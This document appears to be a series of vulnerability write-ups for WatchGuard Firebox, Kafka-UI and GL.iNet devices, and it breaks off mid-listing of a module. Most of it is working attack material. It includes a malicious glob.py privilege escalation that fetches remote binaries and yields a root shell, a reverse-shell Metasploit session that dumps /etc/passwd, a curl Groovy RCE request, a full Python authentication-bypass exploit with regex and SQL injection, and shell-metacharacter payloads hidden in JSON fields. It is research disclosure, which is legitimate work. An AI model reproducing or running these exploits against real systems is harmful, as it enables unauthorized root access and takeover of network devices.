>>> subprocess.call(["ls", "-l", "/usr/bin/fault_rep"]) -rwsr-xr-x 1 root admin 31424 Sep 28 2021 /usr/bin/fault_rep 0 >>>
Having a closer look at the binary, it internally calls /usr/bin/diag_snapgen
, a python program. Here are lines of the program:
>>> print(open("/usr/bin/diag_snapgen").read()) #!/usr/bin/python # # Diagnostic Snapshot Generator # # This script runs when a fault triggers through the Fault Reporting System. # import subprocess import glob # # These files will have their contents copied into the diagnostic snapshot # file. Add (or subtract!) from this list at will. # FILES = [ '/etc/wg/bootlog', '/var/log/*.log', '/var/log/trace/*.log', '/proc/interrupts', '/proc/meminfo' ] # # These programs will have their output copied into the diagnostic snapshot # file. Add (or subtract!) from this list at will. # PROGRAMS = [ '/bin/ps', '/bin/ls -l /tmp', '/bin/df', '/bin/dmesg' ] # # Diagnostic Snapshot Generation # for i, path in enumerate(FILES): for j, name in enumerate(glob.glob(path)): print "=== %s ===" % (name) try: f = open(name) for line in f: print line, f.close() except: print "(Unable to open file!)" print for i, name in enumerate(PROGRAMS): print "=== %s ===" % (name) try: name = name.split() p = subprocess.Popen(name, stdout=subprocess.PIPE, stderr=subprocess.PIPE) out, err = p.communicate() if p.returncode: raise(Exception(err)) print out except: print "(Unable to run command!)" print >>>
This is pretty promising because glob.py
, which is imported, can be easily exchanged by a malicious program with the same name. This will run under root context.
So let’s think this thru…
- We create a malicious
glob.py
where we can run python code under the context of root.
- This python code should remount a filesystem with
exec
andread-write
rights.
- A good candidate is the
/dev/wgrd.pending
filesystem.
- We can download a static linked
bash
andbusybox
x86-64 binary from the web.
- Change the ownership to
root.admin
and set thesuid
andsgid
bit on both binaries.
- We should now be able to spin off a root shell that gives us full control on the appliance.
This sounds like a plan…
Here is malicious glob.py
code.
import subprocess, os, requests, ctypes # set root os.setuid(0) os.setgid(0) # remount /pending directory to enable suid and execution def mount(source, target, fs, options='', flags=0): ret = ctypes.CDLL('libc.so.6', use_errno=True).mount(source, target, fs, flags, options) if ret < 0: errno = ctypes.get_errno() raise RuntimeError("Error mounting {} ({}) on {} with options '{}': {}".format(source, fs, target, options, os.strerror(errno))) # 32 -- MS_REMOUNT flag mount('/dev/wgrd.pending', '/pending', 'ext2', 0, 32) # get the bash static x86_64 binary response = requests.get("https://github.com/ryanwoodsmall/static-binaries/raw/master/x86_64/bash", verify=False) with open("/pending/tmp/bash", mode="wb") as file: file.write(response.content) # get busybox static x86_64 binary response = requests.get("https://github.com/ryanwoodsmall/static-binaries/raw/master/x86_64/busybox", verify=False) with open("/pending/tmp/busybox", mode="wb") as file: file.write(response.content) # setuid and sgid bit and make world executable. Bingo, you are root now! os.chown("/pending/tmp/bash", 0, 0) os.chmod("/pending/tmp/bash", 0o6755) os.chown("/pending/tmp/busybox", 0, 0) os.chmod("/pending/tmp/busybox", 0o6755) exit()
Ok, let’s test this…
We will first upload our malicious glob.py
to /tmp
which is by default read-write, however we can not run any binaries in /tmp
except for python scripts. But that is anyhow all we need…
To ensure that our malicious glob.py
gets imported, we need to change the PYTHONPATH
to /tmp
or .
.
We than call our root suid
program /usr/bin/fault_rep
and our malicious glob.py
should do the magic.
>>> import requests >>> response = requests.get("http://192.168.201.8:1980/glob.py") >>> with open("/tmp/glob.py", mode="w") as file: ... file.write(response.content) ... >>> subprocess.call(["ls", "-l", "/tmp/glob.py"]) -rw-r--r-- 1 nobody wg 1364 Mar 8 17:03 /tmp/glob.py 0 >>>
Ok, we have successfully downloaded glob.py
. Please ensure that you have a http
server running on your attacker machine.
Next step is to set the PYTHONPATH
and run /usr/bin/fault_rep
.
>>> myenv = os.environ.copy() >>> myenv['PYTHONPATH'] = '.' >>> print(myenv) {'PYTHONPATH': '.'} >>> subprocess.check_call(["/usr/bin/fault_rep", "-r", "'a'", "-c1", "-v"], env=myenv) generating fault [01/unspecified] (Failed Assertion)... 0 >>>
Let’s check if the binaries are downloaded in /pending/tmp
directory and owned by root.admin
with suid
and sgid
bit set.
>>> subprocess.call(["ls", "-l", "/pending/tmp"]) -rwsr-sr-x 1 root admin 2772944 Mar 8 17:14 bash -rwsr-sr-x 1 root admin 1894248 Mar 8 17:14 busybox srw-r----- 1 nobody nobody 0 Mar 7 22:38 cgi -rw-r--r-- 1 root admin 0 Mar 8 16:37 configd.log srw-rw-rw- 1 nobody wg 0 Mar 7 22:38 epm srw-rw-rw- 1 root admin 0 Mar 7 22:38 geolocation -rw-r--r-- 1 nobody wg 1364 Mar 8 17:00 glob.py prw------- 1 nobody wg 0 Mar 7 22:38 radiusd prw------- 1 nobody wg 0 Mar 7 22:38 rsso-auth srwxr-xr-x 1 nobody admin 0 Mar 7 22:38 webui srw-rw-rw- 1 nobody wg 0 Mar 8 16:00 wgagent 0 >>>
Cool, the trick worked!
Let’s get our bash
root shell…
>>> subprocess.call(["/pending/tmp/bash", "-i"]) bash: cannot set terminal process group (11397): Not a tty bash: no job control in this shell bash-5.2$ /pending/tmp/busybox id /pending/tmp/busybox id uid=99(nobody) gid=96(wg) bash-5.2$
Mmm, that’s strange. Looks that suid
is not working.
Ahh, this rings a bell. Set suid
bit on a bash
shell does not work out of the box. There is -p
option that overrides this behavior.
bash-5.2# >>> subprocess.call(["/pending/tmp/bash", "-i", "-p"]) bash: cannot set terminal process group (11397): Not a tty bash: no job control in this shell bash-5.2# /pending/tmp/busybox id /pending/tmp/busybox id uid=99(nobody) gid=96(wg)
We got a root prompt, but we are still not there with full root access.
Let’s start a python session in this shell and set the suid
and sgid
once more and launch the bash
shell again.
bash-5.2# python -i python -i Python 2.7.14 (default, Oct 16 2019, 15:38:29) [GCC 6.5.0] on linux2 Type "help", "copyright", "credits" or "license" for more information. >>> import os >>> os.setuid(0) >>> os.setgid(0) >>> import subprocess >>> subprocess.call(["/pending/tmp/bash", "-i"]) bash: cannot set terminal process group (12299): Not a tty bash: no job control in this shell bash-5.2# /pending/tmp/busybox id /pending/tmp/busybox id uid=0(root) gid=0(admin) bash-5.2#
Here we go!
We have full root access now.
References
CVE-2022-31791
Blind exploits to rule WatchGuard firewalls by Charles Fol
Metasploit module PR 18915
WatchGuard XTM Firebox v12.7.2 download
Credits
Credits goes to Charles Fol
of Ambionics Security who discovered this vulnerability.
Technical Analysis
Almost two years ago (28 march 2022) jbaines
published some initial analysis on this vulnerability, still questioning what exactly the modus operandus is to exploit this vulnerability. On the 29th of august 2022, Charles Fol
from Ambionics Security published a blog where in much detail several vulnerabilities are explained including this one. A similar analysis was done by Dylan Pindur
, security researcher from AssetNote which reverse engineered this CVE in more detail (find his blog here).
The most interesting part for me is the fact that the WatchGuard XTM appliance is pretty well protected and hardened. For instance, there is no unix shell installed on the virtual appliance and all filesystems are protected either with read-only
or no-exec
, no-suid
options which make it pretty hard to get privileged access. The only shell access is a old python version (2.7.14) that is installed and available for exploitation.
I will not deep dive the buffer overflow (BOF) vulnerability here because it is pretty well explained in both blogs that I mentioned above.
I created a Metasploit module that you can find here as PR 18915 which will use the BOF to get a python interactive console.
The real fun starts when you have python interactive console access and try to elevate your rights to get root
on the box. You can do this by exploiting another vulnerability CVE-2022-31791.
You can read this more detail in my technical analysis here.
Module in action
msf6 exploit(linux/http/watchguard_firebox_unauth_rce_cve_2022_26318) > options Module options (exploit/linux/http/watchguard_firebox_unauth_rce_cve_2022_26318): Name Current Setting Required Description ---- --------------- -------- ----------- Proxies no A proxy chain of format type:host:port[,type:host:port][...] RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metas ploit.html RPORT 8080 yes The target port (TCP) SSL true no Negotiate SSL/TLS for outgoing connections TARGETURI / yes WatchGuard Firebox base url VHOST no HTTP server virtual host Payload options (cmd/unix/reverse_python): Name Current Setting Required Description ---- --------------- -------- ----------- CreateSession true no Create a new session for every successful login LHOST yes The listen address (an interface may be specified) LPORT 4444 yes The listen port SHELL /usr/bin/python yes The system shell to use Exploit target: Id Name -- ---- 0 Automatic (Reverse Python Interactive Shell) View the full module info with the info, or info -d command.
msf6 exploit(linux/http/watchguard_firebox_unauth_rce_cve_2022_26318) > set rhosts 192.168.201.24 rhosts => 192.168.201.24 msf6 exploit(linux/http/watchguard_firebox_unauth_rce_cve_2022_26318) > set lhost 192.168.201.8 lhost => 192.168.201.8 msf6 exploit(linux/http/watchguard_firebox_unauth_rce_cve_2022_26318) > exploit [*] Started reverse TCP handler on 192.168.201.8:4444 [*] Running automatic check ("set AutoCheck false" to disable) [*] Checking if 192.168.201.24:8080 can be exploited. [+] The target appears to be vulnerable. [*] 192.168.201.24:8080 - Attempting to exploit... [*] 192.168.201.24:8080 - Sending payload... [*] Command shell session 9 opened (192.168.201.8:4444 -> 192.168.201.24:40354) at 2024-03-03 19:50:17 +0000 Shell Banner: Python 2.7.14 (default, Oct 16 2019, 15:38:29) [GCC 6.5.0] on linux2 ----- >>> import os >>> import subprocess >>> os.listdir("./") ['debug', 'platform', 'log', 'wgapi', 'hosts', 'mdev.seq', 'admd.rsync', 'portald', 'portald_data', 'eth0mac', 'rs_sn', '.libtdts_ctrl.lck', 'fw', 'mwan.input', 'wgmsg', 'nwd_dfltmac', 'fqdn_dns_server_list', 'lm.conf', 'sw.conf', 'wcfqdn_label', 'ifmd.cfg.lock', 'wgif_dhcp_eth0.pid', 'wgif_dhcp_eth0_uds', 'wgif_eth1.cfg.lock', 'wgif_eth1.cfg', 'rootca', 'haopevent.log', 'keeper_init_uds', 'sslvpn', 'empty', 'certs.rsync', 'certs.unpack', 'csync', 'ldapsCA', 'iked.semid', 'system_hash.txt', 'iked.params', 'iked.pid', 'cdiag', 'lockout_users.xml', 'dxcpd', 'wgredir.txt', 'dimension', 'affinityd.err', 'wgif_eth0.cfg.lock', 'wgif_eth0.cfg', 'dhcp6d.conf', '6OGD.py', 'ifmd.cfg', 'dhcpd.conf', 'dnsmasq-internal.conf', 'radvd.conf', 'yDnm.py', 'HPM4.py'] >>> >>> os.getuid() 99 >>> os.getgid() 96 >>> print(open("/etc/passwd").read()) root:!$6$XlAENt8.$3RgXuDXBhgsf0FqJ0hrzmrh6qAhvMlCkU6Z976KIDI27gxIZOI0f27lkyJwubRxW5VaO4i9olIybS0Z2R9Ihw1:0:0:Administrator:/root:/bin/ash bin:x:1:1:bin:/bin: system:x:2:96:WG System daemons:/: nobody:x:99:99:Nobody:/: wgntp:x:98:98:OpenNTP daemon:/var/run/ntpd: openvpn:x:97:97:OpenVPN daemon:/: www:x:96:95:WebUI:/: cli:x:95:95:CLI:/: cfm:x:94:94:CFM:/var/cfm_sandbox: agent:x:93:96:WG Agent:/: scand:x:91:94:Scanning Daemon:/var/run/scand: spamd:x:90:94:Spam Daemon:/var/cfm_sandbox: sshd:x:89:89:sshd privilege separation:/var/empty: quagga:x:88:88:Quagga Dynamic Routing:/var/run/quagga: wgcha:x:92:96:WG Call Home Agent:/var/run/wgcha: netdbg:x:87:87:Diagnostic Utilities:/tmp/netdbg: cwagent:x:100:100:ConnectWise Agent:/var/empty: dimension:x:101:101:Dimension Service:/var/run/dimension: tss:x:102:102:trousers daemon:/: atagent:x:103:103:Autotask Agent:/var/empty: psad:x:104:104:PSA Daemon:/var/empty: guac:x:105:105:Guacamole Daemons:/var/run/guac: portald:x:106:105:Portald:/var/run/portald: admin:x:109:109:Admin Cli Access:/etc/wg/admin-home:/usr/bin/cli wgadmin:x:109:109:Admin Cli Access:/etc/wg/admin-home:/usr/bin/cli dnswatchd:x:110:96:DNSWatch Service Daemon:/var/empty: tpagent:x:111:96:Tigerpaw Agent:/var/empty: >>> print(open("/etc/group").read()) admin:x:0:0 bin:x:1:admin,bin nobody:x:99: wgntp:x:98: openvpn:x:97: wg:x:96: ui:x:95: proxy:x:94: sshd:x:89: quagga:x:88: netdbg:x:87: cwagent:x:100: dimension:x:101: tss:x:102: atagent:x:103: psad:x:104: ctlvpn:x:105: dnswatchd:x:107: >>> os.uname() ('Linux', 'FireboxV', '4.14.83', '#1 SMP Mon Sep 27 17:48:07 PDT 2021', 'x86_64') >>>
References
CVE-2022-26318
Blind exploits to rule WatchGuard firewalls by Charles Fol
Diving Deeper into WatchGuard Pre-Auth RCE – CVE-2022-26318
Metasploit module PR 18915
WatchGuard XTM Firebox v12.7.2 download
Credits
Credits goes to Charles Fol
of Ambionics Security who discovered this vulnerability.
The reverse engineering of this CVE was performed by Dylan Pindur
from AssetNote.
Technical Analysis
Kafka UI is a nice web front-end that provides a fast and lightweight web UI for managing Apache Kafka® clusters developed by provectus.
Unfortunately there is a Remote Code Execution vulnerability at the latest version 0.7.1
that was discovered and disclosed on Sep 27, 2023 to provectus, but not yet patched.
The vulnerability can be exploited via the q
parameter at /api/clusters/local/topics/{topic}/messages
endpoint which allows the use to define a Groovy
script filter. There is no sanitation of the groovy script filter before it is executed. This allows an attacker to execute arbitrary code on the server.
The vulnerable code can be found in the function groovyScriptFilter:
static Predicate<TopicMessageDTO> groovyScriptFilter(String script) { var engine = getGroovyEngine(); var compiledScript = compileScript(engine, script); var jsonSlurper = new JsonSlurper(); return new Predicate<TopicMessageDTO>() { @SneakyThrows @Override public boolean test(TopicMessageDTO msg) { var bindings = engine.createBindings(); bindings.put("partition", msg.getPartition()); bindings.put("offset", msg.getOffset()); bindings.put("timestampMs", msg.getTimestamp().toInstant().toEpochMilli()); bindings.put("keyAsText", msg.getKey()); bindings.put("valueAsText", msg.getContent()); bindings.put("headers", msg.getHeaders()); bindings.put("key", parseToJsonOrReturnAsIs(jsonSlurper, msg.getKey())); bindings.put("value", parseToJsonOrReturnAsIs(jsonSlurper, msg.getContent())); var result = compiledScript.eval(bindings); <==== vulnerable code if (result instanceof Boolean) { return (Boolean) result; } else { throw new ValidationException( "Unexpected script result: %s, Boolean should be returned instead".formatted(result)); } } }; }
The exploit is pretty simple to execute by the request below:
We are using a Groovy OS execution code snippet "touch /tmp/cuckoo".execute();
to test the vulnerability.
You need an active Kafka cluster, in this case our cluster is named local
and a topic (cuckoo
) which you can create if there are no topics.
curl 'http://192.168.201.25:8080/api/clusters/local/topics/cuckoo/messages?q=%22touch%20%2Ftmp%2Fcuckoo%22.execute()&filterQueryType=GROOVY_SCRIPT&attempt=4&limit=100&page=0&seekDirection=FORWARD&keySerde=String&valueSerde=String&seekType=BEGINNING'
/tmp $ ls -l total 4 -rw-r--r-- 1 kafkaui kafkaui 0 Jan 24 16:26 cuckoo drwxr-xr-x 2 kafkaui kafkaui 4096 Jan 24 16:25 hsperfdata_kafkaui /tmp $
Pretty simple, right?
And without any authentication!!!
If you want to make a more complex system command, you should not use "my commandline".execute()
because it can not handle unix pipe |
, redirection >
and command chaining with ;
.
You better use some Groovy scripting along the lines like below:
"Process p=new ProcessBuilder(\"sh\",\"-c\",\"<my complex cmd_line>\").redirectErrorStream(true).start()"
If you want to play around with this vulnerability, just follow the steps below to install a vulnerable Kafka-ui instance with an active Kafka cluster.
Installation steps to install Kafka ui
- Install
Docker
on your preferred platform.
- Here are the installation instructions for Docker Desktop on MacOS.
- Create a empty directory (
kafka-ui
).
- Create the following
docker-compose.yaml
file in the directory. This will automatically create a Kafka cluster with Kafka-ui. You can modify thev0.7.0
in theyaml
file to pull different versions.
version: '2' networks: rmoff_kafka: name: rmoff_kafka services: zookeeper: image: confluentinc/cp-zookeeper:latest container_name: zookeeper networks: - rmoff_kafka environment: ZOOKEEPER_CLIENT_PORT: 2181 ZOOKEEPER_TICK_TIME: 2000 ports: - 22181:2181 kafka: image: confluentinc/cp-kafka:latest container_name: kafka networks: - rmoff_kafka depends_on: - zookeeper ports: - 29092:9092 environment: KAFKA_BROKER_ID: 1 KAFKA_ZOOKEEPER_CONNECT: zookeeper:2181 KAFKA_ADVERTISED_LISTENERS: PLAINTEXT://kafka:9092,PLAINTEXT_HOST://localhost:29092 KAFKA_LISTENER_SECURITY_PROTOCOL_MAP: PLAINTEXT:PLAINTEXT,PLAINTEXT_HOST:PLAINTEXT KAFKA_INTER_BROKER_LISTENER_NAME: PLAINTEXT KAFKA_OFFSETS_TOPIC_REPLICATION_FACTOR: 1 kafka-ui: container_name: kafka-ui image: provectuslabs/kafka-ui:v0.7.0 networks: - rmoff_kafka ports: - 8080:8080 depends_on: - kafka - zookeeper environment: KAFKA_CLUSTERS_0_NAME: local KAFKA_CLUSTERS_0_BOOTSTRAPSERVERS: kafka:9092 KAFKA_CLUSTERS_0_ZOOKEEPER: zookeeper:2181 KAFKA_BROKERCONNECT: kafka:9092 DYNAMIC_CONFIG_ENABLED: 'true' KAFKA_CLUSTERS_0_METRICS_PORT: 9997
- Run following command
docker-compose up -d
to install and run the Kafka ui and cluster environment.
- Your Kafka ui should be accessible on
http://localhost:8080
with an active Kafka cluster running.
- You can bring down the environment for a fresh start with the command
docker-compose down --volumes
.
You are now ready to test the vulnerability.
And as usual, I took the liberty to code a nice Metasploit module that does it all for you.
You can find the module here in my local repository or as PR 18700 at Metasploit Github development.
Mitigation
Kafka-ui versions between v0.4.0
– v0.7.1
are vulnerable and there is no fix.
There is no outlook yet when it will be fixed, so do not use a default installation which has no authentication enabled.
It is strongly advised to configure Kafka-ui with basic authentication.
References
CVE-2023-52251
Kafka-ui unauthenticated RCE – h00die-gr3y Metasploit local repository
Kafka-ui unauthenticated RCE – Metasploit PR 18700
POC
Kafka-ui Github development
Credits
Technical Analysis
There is not yet an official record of this CVE available at the time of writing, but this is a critical vulnerability that gives an attacker unauthenticated access to a GL.iNet network devices. The issue is the bypass of Nginx
authentication through a Lua
string pattern matching and SQL injection vulnerability. There is an excellent writeup From zero to botnet – GL.iNet going wild by DZONERZY
who discovered this vulnerability in October 2023.
I am not gonna repeat the whole article here, because you can read it for yourself, but I will quickly summarize the issue.
The flaw sits in the /usr/sbin/gl-ngx-session
, the actual Lua
handler for the authentication mechanism which is the standard for GL.iNet network devices.
Within the this code there is a loop through the /etc/shadow file
to authenticate a user where the username is used for the lookup using a regex
.
By manipulating the username with additional regex
statements, one can manipulate the lookup, so that it retrieves the uid
field instead of the password
field, hence using this for a valid root login will return a session id (SID
) to be used for authentication.
local function login_test(username, hash) if not username or username == "" then return false end for l in io.lines("/etc/shadow") do local pw = l:match('^' .. username .. ':([^:]+)') if pw then for nonce in pairs(nonces) do if utils.md5(table.concat({username, pw, nonce}, ":")) == hash then nonces[nonce] = nil nonce_cnt = nonce_cnt - 1 return true end end return false end end
Regex injection happens inside the login_test function
; it tries to match everything from the first colon (the hashed password) until the next one.
root:$1$j9T2jD$5KGIS/2Ug.47GjW0jHOIB/2XwYUafYPh/X:19447:0:99999:7:::
With the following username: root:[^:]+:[^:]+
the regex in the code becomes ^root:[^:]+:[^:]+:([^:]+)
that shifts forward the matching group, thus making it return the uid
(which is always 0) instead of the hashed password, which means that we can always win the authentication challenge by sending the following hash: md5(<user>:0:<nonce>) -> root:[^:]+:[^:]+:0:<nonce>
.
Additionally, some ACL’s are required that are stored in the SQLite
db. This lookup, which is coded in /usr/lib/lua/oui/db.lua
, is not successful because we manipulated the username.
M.get_acl_by_username = function(username) if username == "root" then return "root" end local db = sqlite3.open(DB) local sql = string.format("SELECT acl FROM account WHERE username = '%s'", username) local aclgroup = "" for a in db:rows(sql) do aclgroup = a[1] end db:close() return aclgroup end
However, by a brilliant combination of the regex and sql injection, DZONERZY
was able to retrieve that information in one go with the username below.
roo[^'union selecT char(114,111,111,116)--]:[^:]+:[^:]+
Pretty cool !!!
But unfortunately quite bad for our users who bought a GL.iNet network device, because at the time of writing most of the devices that are exposed to Internet (shodan dork: title:"GL.iNet Admin Panel"
) are vulnerable for this authentication bypass.
Even worse, in combination of CVE-2023-50445 all vulnerable GL.iNet network can be exploited without any authentication required.
Please check out my attackerKB article for more info.
Below is a python script that checks if your device is vulnerable for CVE-2023-50919
.
#!/usr/bin/env python3 # Exploit Title: GL.iNet Authentication bypass # Shodan Dork: title:"GL.iNet Admin Panel" # Date: 30/12/2023 # Exploit Author: h00die-gr3y@gmail.com # Vendor Homepage: https://www.gli-inet.com # Software Link: https://dl.gl-inet.com/?model=ar300m16 # Firmware: openwrt-ar300m16-4.3.7-0913-1694589994.bin # Version: 4.3.7 # Tested on: GL.iNet AR300M16 # CVE: CVE-2023-50919 import json import requests import hashlib import time from random import randint from sys import stdout, argv requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning) proxies = { 'http': 'http://127.0.0.1:8080', 'https': 'http://127.0.0.1:8080', } proxies = {} # no proxy def get_challenge(url): data = { 'jsonrpc': '2.0', 'id': randint(1000, 9999), 'method': 'challenge', 'params': {'username': 'root'} } try: res = requests.post(url, json=data, verify=False, proxies=proxies) res.raise_for_status() res_json = json.loads(res.content) if 'result' in res_json: return res_json['result']['nonce'] print('[-] Error: could not find nonce') return False except requests.exceptions.RequestException: print('[-] Error while retrieving challenge') return False def login(url, username, hash): data = { 'jsonrpc': '2.0', 'id': randint(1000, 9999), 'method': 'login', 'params': { 'username': '{}'.format(username), 'hash': '{}'.format(hash)} } try: res = requests.post(url, json=data, verify=False, proxies=proxies) res.raise_for_status() res_json = json.loads(res.content) if 'result' in res_json: return res_json['result']['sid'] print('[-] Error: could not find sid') return False except requests.exceptions.RequestException: print('[-] Error while retrieving sid') return False def main(url): print('[+] Started GL.iNet - Authentication Bypass exploit') username = "roo[^'union selecT char(114,111,111,116)--]:[^:]+:[^:]+" pw = '0' print('[+] Get challenge and login') start = time.time() nonce = get_challenge(url+'/rpc') if nonce: print('[+] nonce: {}'.format(nonce)) hash_str = username+':'+pw+':'+nonce hash = hashlib.md5(hash_str.encode('utf-8')).hexdigest() print('[+] hash: {}'.format(hash)) sid = login(url+'/rpc', username, hash) print(f'[+] Time elapsed: {time.time() - start}') if sid: print('[+] sid: {}'.format(sid)) if __name__ == '__main__': if len(argv) < 2: print('Usage: {} <TARGET_URL>'.format(argv[0])) exit(1) main(argv[1])
# python ./auth-bypass.py http://192.168.8.1 [+] Started GL.iNet - Authentication Bypass exploit [+] Get challenge and login [+] nonce: 9B5p5lcK8V1rPu7tiwaKccPKkA8ijpwt [+] hash: 01f250624caab2acaf4feb290dd45d33 [+] Time elapsed: 2.650479793548584 [+] sid: rGZXQdxPkFzv1KwNaXTcWos6OLTnjU3e
Mitigation
The following GL.iNet network devices are vulnerable. Please patch your devices to the latest firmware release.
- A1300, AX1800, AXT1800, MT3000, MT2500/MT2500A:
v4.0.0 < v4.5.0
- MT6000:
v4.5.0 - v4.5.3
- MT1300, MT300N-V2, AR750S, AR750, AR300M, AP1300, B1300:
v4.3.7
- E750/E750V2, MV1000:
v4.3.8
- X3000:
v4.0.0 - v4.4.2
- XE3000:
v4.0.0 - v4.4.3
- SFT1200:
v4.3.6
- and potentially others…
References
From zero to botnet: GL.iNet going wild by DZONERZY
CVE-2023-50445
AttackerKB article: CVE-2023-50445 by h00die-gr3y
GL.iNet home page
Credits
DZONERZY
Technical Analysis
This report describes the Shell Metacharacter Injection vulnerability recently discovered in GL.iNet products. The vulnerability exists in the get_system_log
and get_crash_log
functions of the logread
module, as well as the upgrade_online
function of the upgrade
module. It allows execution of malicious shell commands through externally provided parameters, thereby enabling control over the related products.
Attackers can manipulate routers by passing malicious shell commands through the API (v4).
get_system_log function
{ "jsonrpc": "2.0", "id": 11, "method": "call", "params": [ "NsPHdkXtENoaotxVZWLqJorU52O7J0OI", "logread", "get_system_log", { "lines": "| echo pawned >/tmp/lines.pawned", "module": "| echo pawned >/tmp/module.pawned" } ] }
get_crash_log function
{ "jsonrpc": "2.0", "id": 11, "method": "call", "params": [ "NsPHdkXtENoaotxVZWLqJorU52O7J0OI", "logread", "get_crash_log", { "mode": "| echo pawned >/tmp/mode.pawned", "log_number": "| echo pawned >/tmp/log_number.pawned" } ] }
upgrade_online function
{ "jsonrpc": "2.0", "id": 11, "method": "call", "params": [ "NsPHdkXtENoaotxVZWLqJorU52O7J0OI", "upgrade", "upgrade_online", { "url": "| echo pawned >/tmp/url.pawned", "sha256": "| echo pawned >/tmp/sha256.pawned", "keep_config": "| echo pawned >/tmp/keep_config.pawned", "keep_package": "| echo pawned >/tmp/keep_package.pawned" } ] }
This vulnerability requires post-authentication with a SessionID (SID
) to be successful. This authentication can be circumvented by chaining this vulnerability with CVE-2023-50919 where the SID
can be retrieved without any credential knowledge, hence making this exploit pre-authenticated.
I created a new module that determines the GL.iNet device model, firmware information and architecture to check if the device is vulnerable and chained the two vulnerabilities.
I have tested this module using FirmAE
to emulate a GL.iNet device AR300M16 with firmware openwrt-ar300m16-4.3.7-0913-1694589994.bin
.
Module in Action
GL.iNet AR300M16 emulated target
# ./run.sh -d GL.iNet /root/FirmAE/firmwares/openwrt-ar300m16-4.3.7-0913-1694589994.bin [*] /root/FirmAE/firmwares/openwrt-ar300m16-4.3.7-0913-1694589994.bin emulation start!!! [*] extract done!!! [*] get architecture done!!! mke2fs 1.47.0 (5-Feb-2023) mknod: /dev/console: File exists e2fsck 1.47.0 (5-Feb-2023) [*] infer network start!!! [IID] 91 [MODE] debug [+] Network reachable on 192.168.1.1! [+] Run debug! Creating TAP device tap91_0... Set 'tap91_0' persistent and owned by uid 0 Bringing up TAP device... Starting emulation of firmware... 192.168.1.1 true false 11.438110994 -1 /root/FirmAE/./debug.py:7: DeprecationWarning: 'telnetlib' is deprecated and slated for removal in Python 3.13 import telnetlib [*] firmware - openwrt-ar300m16-4.3.7-0913-1694589994 [*] IP - 192.168.1.1 [*] connecting to netcat (192.168.1.1:31337) [-] failed to connect netcat ------------------------------ | FirmAE Debugger | ------------------------------ 1. connect to socat 2. connect to shell 3. tcpdump 4. run gdbserver 5. file transfer 6. exit > 1 / # / # ifconfig ifconfig br-lan Link encap:Ethernet HWaddr 52:54:00:12:34:56 inet addr:192.168.8.1 Bcast:192.168.8.255 Mask:255.255.255.0 UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 RX packets:392 errors:0 dropped:0 overruns:0 frame:0 TX packets:0 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:0 RX bytes:33970 (33.1 KiB) TX bytes:0 (0.0 B) eth0 Link encap:Ethernet HWaddr 52:54:00:12:34:56 UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 RX packets:427 errors:0 dropped:0 overruns:0 frame:0 TX packets:44 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:1000 RX bytes:42072 (41.0 KiB) TX bytes:5068 (4.9 KiB) eth1 Link encap:Ethernet HWaddr 52:54:00:12:34:57 UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1 RX packets:0 errors:0 dropped:0 overruns:0 frame:0 TX packets:940 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:1000 RX bytes:0 (0.0 B) TX bytes:321480 (313.9 KiB) lo Link encap:Local Loopback inet addr:127.0.0.1 Mask:255.0.0.0 inet6 addr: ::1/128 Scope:Host UP LOOPBACK RUNNING MTU:65536 Metric:1 RX packets:0 errors:0 dropped:0 overruns:0 frame:0 TX packets:0 errors:0 dropped:0 overruns:0 carrier:0 collisions:0 txqueuelen:0 RX bytes:0 (0.0 B) TX bytes:0 (0.0 B) / # netstat -rn netstat -rn Kernel IP routing table Destination Gateway Genmask Flags MSS Window irtt Iface 192.168.8.0 0.0.0.0 255.255.255.0 U 0 0 0 br-lan
- You should now be able to
ping
the network address 192.168.8.1 from your host and run anmap
command to check the services (HTTP TCP port 80).
- NOTE: please check your tap network interface on your host because it might have the wrong IP setting.
- You can change this with:
ip a del 192.168.1.2/24 dev tap91_0
andip a add 192.168.8.2/24 dev tap91_0
.
# ifconfig tap91_0 tap91_0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500 inet 192.168.1.2 netmask 255.255.255.0 broadcast 0.0.0.0 inet6 fe80::6c06:aff:fefb:ab29 prefixlen 64 scopeid 0x20<link> ether 6e:06:0a:fb:ab:29 txqueuelen 1000 (Ethernet) RX packets 39 bytes 4692 (4.5 KiB) RX errors 0 dropped 0 overruns 0 frame 0 TX packets 50 bytes 4044 (3.9 KiB) TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
# ping 192.168.8.1 PING 192.168.8.1 (192.168.8.1) 56(84) bytes of data. 64 bytes from 192.168.8.1: icmp_seq=1 ttl=64 time=9.2 ms 64 bytes from 192.168.8.1: icmp_seq=2 ttl=64 time=3.18 ms ^C --- 192.168.8.1 ping statistics --- 2 packets transmitted, 2 received, 0% packet loss, time 1001ms rtt min/avg/max/mdev = 2.384/5.650/8.916/3.266 ms # nmap 192.168.8.1 Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-01-03 14:47 UTC Nmap scan report for 192.168.8.1 Host is up (0.020s latency). Not shown: 997 closed tcp ports (reset) PORT STATE SERVICE 53/tcp open domain 80/tcp open http 443/tcp open https MAC Address: 52:54:00:12:34:57 (QEMU virtual NIC)
You are now ready to test the module using the emulated router hardware on IP address 192.168.8.1.
msf6 exploit(linux/http/glinet_unauth_rce_cve_2023_50445) > info Name: GL.iNet Unauthenticated Remote Command Execution via the logread module. Module: exploit/linux/http/glinet_unauth_rce_cve_2023_50445 Platform: Unix, Linux Arch: cmd, mipsle, mipsbe, armle Privileged: Yes License: Metasploit Framework License (BSD) Rank: Excellent Disclosed: 2013-12-10 Provided by: h00die-gr3y <h00die.gr3y@gmail.com> Unknown DZONERZY Module side effects: ioc-in-logs artifacts-on-disk Module stability: crash-safe Module reliability: repeatable-session Available targets: Id Name -- ---- => 0 Unix Command 1 Linux Dropper Check supported: Yes Basic options: Name Current Setting Required Description ---- --------------- -------- ----------- Proxies no A proxy chain of format type:host:port[,type:host:port][...] RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html RPORT 80 yes The target port (UDP) SID no Session ID SSL false no Negotiate SSL/TLS for outgoing connections SSLCert no 